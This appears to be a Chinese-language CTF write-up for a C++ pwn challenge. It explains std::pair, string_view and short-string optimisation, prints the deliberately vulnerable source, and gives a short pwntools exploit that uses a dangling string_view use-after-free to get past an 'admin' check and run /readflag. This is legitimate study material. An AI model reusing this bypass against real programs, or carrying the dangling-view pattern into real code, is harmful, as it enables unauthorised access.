参考

https://zqy.ink/2023/05/12/dingjiqiandao/

make_pair

该函数的作用是解析用户输入的登录信息。这里使用的make_pair是C++标准库中的一个函数,用于创建一个std::pair对象。std::pair是一个模板类,可以用来同时存储两个相关的值,通常这两个值可以是不同类型。

具体到这行代码中:

return make_pair(tok_ring[0], tok_ring[1]);
  • tok_ring是一个由splitToken函数返回的std::vector<std::string_view>,其中存储了通过特定分隔符(在这个案例中是冒号:)分隔的字符串片段。tok_ring[0]代表第一个片段(通常是用户名),tok_ring[1]代表第二个片段(通常是密码)。

  • make_pair函数接收这两个字符串片段作为参数,创建一个新的std::pair对象,其中第一个元素是tok_ring[0](用户名),第二个元素是tok_ring[1](密码)。

return make_pair(tok_ring[0], tok_ring[1]);这一行的作用是将解析出来的用户名和密码打包成一个std::pair对象并作为parseUser函数的返回值。

string_view和string

std::string 的内部实现和特点

std::string是一个封装了动态数组的类,用于存储和操作字符串。它的内部结构通常包含以下组件:

  1. 字符指针:一个指向动态分配的字符数组的指针,存储字符串的实际内容。
  2. 长度:一个成员变量,记录当前字符串的实际长度(字符数量,不含末尾的空字符)。
  3. 容量:通常还有一个成员变量记录当前分配的总内存大小,以备字符串增长时使用,避免频繁的内存重新分配。
  4. 管理机制std::string负责动态内存的分配和释放,包括自动增长策略(当字符串增加时自动扩展内存容量)和深拷贝(复制或赋值时复制内容)。

std::string_view 的内部实现和特点

相比之下,std::string_view是一个轻量级的字符串视图类,它不拥有字符串的内存,而是一个对现有字符串的引用。其内部结构相对简单:

  1. 字符指针:一个指向字符串数据的const char*const CharT*指针,指向外部存储的字符串起始位置。
  2. 长度:一个成员变量,记录string_view所引用的字符串长度。

string_view的设计理念是零成本的字符串引用,它不涉及内存管理,不对字符串进行拷贝,仅提供对已存在字符串的视图。它能够提升效率,特别是在处理字符串操作频繁或需要避免不必要的字符串复制时。

例子说明

假设我们有一个函数需要统计字符串中某个字符出现的次数:

  • 使用std::string:
    cpp std::string str = "Hello, World!"; std::size_t count = std::count(str.begin(), str.end(), 'o');
    这里,即使传入的是一个临时的字符串字面量,str也会在栈上创建一个副本。

  • 使用std::string_view:
    cpp std::string_view view = "Hello, View!"; std::size_t count = std::count(view.begin(), view.end(), 'e');
    string_view`直接引用了原字符串数据,没有额外的内存分配或复制操作,效率更高。

总结,std::string提供了完全的字符串管理,包括内存分配和所有权,适合需要修改字符串或独立存储字符串数据的场景。而std::string_view作为一个高效的只读视图,适用于不需要修改字符串且希望避免拷贝开销的场合。

SSO(Short String Optimization)和堆分配

以下是一个基础的、概念性的string内部结构示意图:

template<typename CharT, typename Traits, typename Allocator>
class basic_string {
private:
    union {
        struct {
            // 指向堆上分配的字符串数据的指针(如果未使用SSO)
            CharT* ptr;
            // 字符串长度(不包括终止的空字符)
            size_t length;
            // 总容量(包括已使用的和未使用的,仅当在堆上分配时有意义)
            size_t capacity;
        };
        // 内部缓冲区,用于SSO(假设大小为N,N通常由实现决定,例如15或22)
        CharT small_buffer[N];
    };

    // 一个或几个比特位用于标记是否使用SSO
    bool is_short_string : 1;

    // 其他成员和方法...
};

basic_string类通过一个联合体(union)来实现SSO。联合体允许同一块内存区域以不同的数据类型被解释。当字符串较短,满足SSO条件时,字符串数据直接存储在small_buffer中,此时ptrlength、和capacity字段不被使用。is_short_string标志位用来指示当前std::string对象是否使用了SSO。如果字符串超过了SSO的长度限制,ptr将指向堆上分配的字符串数据,而lengthcapacity则记录字符串的实际长度和分配的总容量。

源码

#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;

string getInput()
{
    string res;
    getline(cin, res);
    //输入一行
    if (res.size() > 64)//判断size
        throw std::runtime_error("Invalid input");
    while (!res.empty() && res.back() == '\n')
        res.pop_back();//不断判断字符最后一个字符是否是\n并且判断是否为空,如果不空并且最后一个字符为\n就会pop出去
    return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{
    if (!allow_admin && str.find("admin") != str.npos)
    //find、rfind等函数,如果没有找到目标子串,这些函数就会返回npos,通知调用者没有找到匹配。
        throw std::invalid_argument("Access denied");
    vector<string_view> res;
    size_t prev = 0, pos = 0;
    do
    {
        pos = str.find(delim, prev);
        if (pos == std::string::npos)//没有找到分隔符
        {
            pos = str.length();
        }
        res.push_back(str.substr(prev, pos - prev));//截断从开始位置到分隔符的位置
        prev = pos + delim.length();//更新起始位置
    } while (pos < str.length() && prev < str.length());
    return res;
}
auto parseUser()
{
    auto tok_ring = splitToken(getInput(), ":");//以:分隔
    if (tok_ring.size() != 2)
        throw std::invalid_argument("Bad login token");
    if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)//login name的长度限制
        throw std::invalid_argument("Bad login name");
    if (tok_ring[1].size() > 32) //login password长度限制
        throw std::invalid_argument("Bad login password");
    return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_vie)w> > handle_admin = {
    {"admin", [](auto)
     {
         system("/readflag");
     }},
    {"?", [](auto)
     {
         cout << "Enjoy :)" << endl;
         cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;
     }}};
constexpr auto handle_guest = [](auto)
{
    cout << "Hello guest!" << endl;
};
int main()
{
    auto [username, password] = parseUser();
    cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;
    auto choice = getInput();
    if (choice == "quit")
    {
        cout << "bye" << endl;
        return 0;
    }
    if (auto it = handle_admin.find(username); it != handle_admin.end())
    //根据一开始的parseUser中得到username来寻找处理函数
    //由于parseUser不允许admain,所以要想办法绕过
    {
        it->second(password);
    //寻找键,如果不是最后一个键即?就调用寻找到的键对应的函数
    }
    else
    {
        handle_guest(password);
    }
}

思路

  1. parseUser中使用string_view来接收getInput得到的string对象,如果string对象创建时候字符足够长,会使用堆分配来存储字符串,当parseUser结束时,string对象会调用析构函数,free掉堆,但string_view依然存储着对应在堆上的字符串指针
  2. parseUser最后得到的事两个string_view对象,并且他们的指针都是已经free掉的堆上的chunk指针
  3. 此时接下来又会getInput,此时输入内容过长也会导致在堆上分配,如果合适,那么可以和之前析构函数free掉的堆重合,进而得到修改之前堆上的内容,而string_view对象他们的指针正好是已经free掉的堆上的chunk指针
  4. 由于之前分隔parseUser,导致两个string_view对象他们的指针的位置能够指向在堆上对应的内容(username: password),所以如果此时新输入的长度和之前一样,格式和之前一样,就能保证输入的内容的username部分被识别admain,进而绕过上面的对admain的检查

exp

from pwn import *
p=process('./pwn')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
# aaaaa和admin都是五个字节,使得string_view对象保存的字符串从aaaaa识别为admin
p.interactive()
06-08 13:56